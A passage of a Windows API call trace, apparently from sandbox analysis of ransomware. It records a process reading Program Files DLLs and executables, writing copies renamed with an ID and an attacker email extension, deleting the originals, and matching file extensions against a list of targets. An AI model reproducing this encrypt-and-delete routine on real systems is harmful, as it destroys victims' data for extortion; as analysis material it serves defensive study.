dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0074.700] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0074.700] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoinstallerui.dll.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0074.704] GetLastError () returned 0x0 [0074.704] ReadFile (in: hFile=0x2f0, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x25cfecc*=0x30a0, lpOverlapped=0x0) returned 1 [0074.706] WriteFile (in: hFile=0x314, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x30b0, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x25cfc94*=0x30b0, lpOverlapped=0x0) returned 1 [0074.707] ReadFile (in: hFile=0x2f0, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x25cfecc*=0x0, lpOverlapped=0x0) returned 1 [0074.707] WriteFile (in: hFile=0x314, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x25cfc94*=0xfa, lpOverlapped=0x0) returned 1 [0074.707] SetEndOfFile (hFile=0x314) returned 1 [0074.708] CloseHandle (hObject=0x314) returned 1 [0074.708] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0074.708] SetEndOfFile (hFile=0x2f0) returned 1 [0074.709] CloseHandle (hObject=0x2f0) returned 1 [0074.709] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0074.709] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoinstallerui.dll")) returned 1 [0074.710] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll") returned 81 [0074.710] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll") returned 81 [0074.710] lstrlenW (lpString=".doc") returned 4 [0074.710] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0074.710] lstrlenW (lpString=".docx") returned 5 [0074.710] lstrcmpiW (lpString1=".docx", lpString2="I.dll") returned -1 [0074.710] lstrlenW (lpString=".pdf") returned 4 [0074.710] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0074.710] lstrlenW (lpString=".xls") returned 4 [0074.710] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0074.710] lstrlenW (lpString=".xlsx") returned 5 [0074.710] lstrcmpiW (lpString1=".xlsx", lpString2="I.dll") returned -1 [0074.710] lstrlenW (lpString=".ppt") returned 4 [0074.710] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0074.710] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll") returned 81 [0074.710] lstrlenW (lpString=".zip") returned 4 [0074.710] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0074.710] lstrlenW (lpString=".rar") returned 4 [0074.710] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0074.710] lstrlenW (lpString=".bz2") returned 4 [0074.710] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0074.710] lstrlenW (lpString=".7z") returned 3 [0074.710] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0074.711] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll") returned 81 [0074.711] lstrlenW (lpString=".dbf") returned 4 [0074.711] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0074.711] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll") returned 81 [0074.711] lstrlenW (lpString=".1cd") returned 4 [0074.711] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0074.711] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll") returned 81 [0074.711] lstrlenW (lpString=".jpg") returned 4 [0074.711] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0074.712] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0074.712] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0074.712] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoloaderui.dll.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0074.713] GetLastError () returned 0x0 [0074.713] ReadFile (in: hFile=0x2f0, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x25cfecc*=0x5080, lpOverlapped=0x0) returned 1 [0074.715] WriteFile (in: hFile=0x314, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x5090, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x25cfc94*=0x5090, lpOverlapped=0x0) returned 1 [0074.716] ReadFile (in: hFile=0x2f0, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x25cfecc*=0x0, lpOverlapped=0x0) returned 1 [0074.717] WriteFile (in: hFile=0x314, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x25cfc94*=0xf4, lpOverlapped=0x0) returned 1 [0074.717] SetEndOfFile (hFile=0x314) returned 1 [0074.717] CloseHandle (hObject=0x314) returned 1 [0074.717] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0074.717] SetEndOfFile (hFile=0x2f0) returned 1 [0074.718] CloseHandle (hObject=0x2f0) returned 1 [0074.718] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0074.718] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoloaderui.dll")) returned 1 [0074.719] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll") returned 78 [0074.719] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll") returned 78 [0074.719] lstrlenW (lpString=".doc") returned 4 [0074.719] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0074.719] lstrlenW (lpString=".docx") returned 5 [0074.719] lstrcmpiW (lpString1=".docx", lpString2="I.dll") returned -1 [0074.719] lstrlenW (lpString=".pdf") returned 4 [0074.719] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0074.719] lstrlenW (lpString=".xls") returned 4 [0074.719] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0074.719] lstrlenW (lpString=".xlsx") returned 5 [0074.719] lstrcmpiW (lpString1=".xlsx", lpString2="I.dll") returned -1 [0074.720] lstrlenW (lpString=".ppt") returned 4 [0074.720] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0074.720] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll") returned 78 [0074.720] lstrlenW (lpString=".zip") returned 4 [0074.720] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0074.720] lstrlenW (lpString=".rar") returned 4 [0074.720] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0074.720] lstrlenW (lpString=".bz2") returned 4 [0074.720] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0074.720] lstrlenW (lpString=".7z") returned 3 [0074.720] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0074.720] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll") returned 78 [0074.720] lstrlenW (lpString=".dbf") returned 4 [0074.720] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0074.720] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll") returned 78 [0074.720] lstrlenW (lpString=".1cd") returned 4 [0074.720] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0074.720] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll") returned 78 [0074.720] lstrlenW (lpString=".jpg") returned 4 [0074.720] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0074.722] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0074.722] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0074.722] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.exe.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0074.723] GetLastError () returned 0x0 [0074.723] ReadFile (in: hFile=0x2f0, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x25cfecc*=0x18888, lpOverlapped=0x0) returned 1 [0074.727] WriteFile (in: hFile=0x314, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x18890, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x25cfc94*=0x18890, lpOverlapped=0x0) returned 1 [0074.730] ReadFile (in: hFile=0x2f0, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x25cfecc*=0x0, lpOverlapped=0x0) returned 1 [0074.730] WriteFile (in: hFile=0x314, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x25cfc94*=0xf6, lpOverlapped=0x0) returned 1 [0074.730] SetEndOfFile (hFile=0x314) returned 1 [0074.730] CloseHandle (hObject=0x314) returned 1 [0074.730] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0074.730] SetEndOfFile (hFile=0x2f0) returned 1 [0075.328] CloseHandle (hObject=0x2f0) returned 1 [0075.329] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0075.329] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.exe")) returned 1 [0075.330] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe") returned 74 [0075.330] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe") returned 74 [0075.330] lstrlenW (lpString=".doc") returned 4 [0075.330] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0075.330] lstrlenW (lpString=".docx") returned 5 [0075.330] lstrcmpiW (lpString1=".docx", lpString2="r.exe") returned -1 [0075.330] lstrlenW (lpString=".pdf") returned 4 [0075.330] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0075.330] lstrlenW (lpString=".xls") returned 4 [0075.330] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0075.330] lstrlenW (lpString=".xlsx") returned 5 [0075.330] lstrcmpiW (lpString1=".xlsx", lpString2="r.exe") returned -1 [0075.330] lstrlenW (lpString=".ppt") returned 4 [0075.330] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0075.330] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe") returned 74 [0075.330] lstrlenW (lpString=".zip") returned 4 [0075.330] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0075.330] lstrlenW (lpString=".rar") returned 4 [0075.330] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0075.330] lstrlenW (lpString=".bz2") returned 4 [0075.330] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0075.330] lstrlenW (lpString=".7z") returned 3 [0075.330] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0075.331] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe") returned 74 [0075.331] lstrlenW (lpString=".dbf") returned 4 [0075.331] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0075.331] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe") returned 74 [0075.331] lstrlenW (lpString=".1cd") returned 4 [0075.331] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0075.331] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe") returned 74 [0075.331] lstrlenW (lpString=".jpg") returned 4 [0075.331] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0075.545] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0075.545] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0075.545] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\bci.dll.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0075.546] GetLastError () returned 0x0 [0075.546] ReadFile (in: hFile=0x398, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x25cfecc*=0x4240, lpOverlapped=0x0) returned 1 [0075.548] WriteFile (in: hFile=0x37c, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x4250, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x25cfc94*=0x4250, lpOverlapped=0x0) returned 1 [0075.550] ReadFile (in: hFile=0x398, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x25cfecc*=0x0, lpOverlapped=0x0) returned 1 [0075.550] WriteFile (in: hFile=0x37c, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x25cfc94*=0xe2, lpOverlapped=0x0) returned 1 [0075.550] SetEndOfFile (hFile=0x37c) returned 1 [0075.550] CloseHandle (hObject=0x37c) returned 1 [0075.550] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0075.550] SetEndOfFile (hFile=0x398) returned 1 [0075.551] CloseHandle (hObject=0x398) returned 1 [0075.551] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0075.552] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\bci.dll")) returned 1 [0075.552] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll") returned 46 [0075.552] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll") returned 46 [0075.552] lstrlenW (lpString=".doc") returned 4 [0075.552] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0075.553] lstrlenW (lpString=".docx") returned 5 [0075.553] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1 [0075.553] lstrlenW (lpString=".pdf") returned 4 [0075.553] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0075.553] lstrlenW (lpString=".xls") returned 4 [0075.553] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0075.553] lstrlenW (lpString=".xlsx") returned 5 [0075.553] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1 [0075.553] lstrlenW (lpString=".ppt") returned 4 [0075.553] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0075.553] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll") returned 46 [0075.553] lstrlenW (lpString=".zip") returned 4 [0075.553] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0075.553] lstrlenW (lpString=".rar") returned 4 [0075.553] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0075.553] lstrlenW (lpString=".bz2") returned 4 [0075.553] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0075.553] lstrlenW (lpString=".7z") returned 3 [0075.553] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0075.553] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll") returned 46 [0075.553] lstrlenW (lpString=".dbf") returned 4 [0075.553] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0075.553] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll") returned 46 [0075.553] lstrlenW (lpString=".1cd") returned 4 [0075.553] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0075.553] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll") returned 46 [0075.553] lstrlenW (lpString=".jpg") returned 4 [0075.554] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0075.554] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0075.554] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0075.554] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dcpr.dll.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0075.555] GetLastError () returned 0x0 [0075.555] ReadFile (in: hFile=0x398, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x25cfecc*=0x27040, lpOverlapped=0x0) returned 1 [0075.560] WriteFile (in: hFile=0x37c, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x27050, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x25cfc94*=0x27050, lpOverlapped=0x0) returned 1 [0075.564] ReadFile (in: hFile=0x398, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x25cfecc*=0x0, lpOverlapped=0x0) returned 1 [0075.564] WriteFile (in: hFile=0x37c, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x25cfc94*=0xe4, lpOverlapped=0x0) returned 1 [0075.564] SetEndOfFile (hFile=0x37c) returned 1 [0075.564] CloseHandle (hObject=0x37c) returned 1 [0075.564] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0075.564] SetEndOfFile (hFile=0x398) returned 1 [0075.567] CloseHandle (hObject=0x398) returned 1 [0075.567] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0075.567] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dcpr.dll")) returned 1 [0075.568] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll") returned 47 [0075.568] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll") returned 47 [0075.568] lstrlenW (lpString=".doc") returned 4 [0075.568] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0075.568] lstrlenW (lpString=".docx") returned 5 [0075.568] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1 [0075.568] lstrlenW (lpString=".pdf") returned 4 [0075.568] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0075.568] lstrlenW (lpString=".xls") returned 4 [0075.568] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0075.568] lstrlenW (lpString=".xlsx") returned 5 [0075.568] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1 [0075.568] lstrlenW (lpString=".ppt") returned 4 [0075.568] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0075.568] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll") returned 47 [0075.568] lstrlenW (lpString=".zip") returned 4 [0075.568] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0075.568] lstrlenW (lpString=".rar") returned 4 [0075.568] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0075.568] lstrlenW (lpString=".bz2") returned 4 [0075.568] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0075.568] lstrlenW (lpString=".7z") returned 3 [0075.568] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0075.568] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll") returned 47 [0075.569] lstrlenW (lpString=".dbf") returned 4 [0075.569] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0075.569] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll") returned 47 [0075.569] lstrlenW (lpString=".1cd") returned 4 [0075.569] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0075.569] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll") returned 47 [0075.569] lstrlenW (lpString=".jpg") returned 4 [0075.569] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0075.570] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0075.570] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0075.570] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\decora_sse.dll.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0075.571] GetLastError () returned 0x0 [0075.571] ReadFile (in: hFile=0x398, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x25cfecc*=0x15040, lpOverlapped=0x0) returned 1 [0075.576] WriteFile (in: hFile=0x37c, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x15050, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x25cfc94*=0x15050, lpOverlapped=0x0) returned 1 [0075.578] ReadFile (in: hFile=0x398, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x25cfecc*=0x0, lpOverlapped=0x0) returned 1 [0075.578] WriteFile (in: hFile=0x37c, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x25cfc94*=0xf0, lpOverlapped=0x0) returned 1 [0075.579] SetEndOfFile (hFile=0x37c) returned 1 [0075.579] CloseHandle (hObject=0x37c) returned 1 [0075.579] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0075.579] SetEndOfFile (hFile=0x398) returned 1 [0075.581] CloseHandle (hObject=0x398) returned 1 [0075.581] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0075.581] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll" 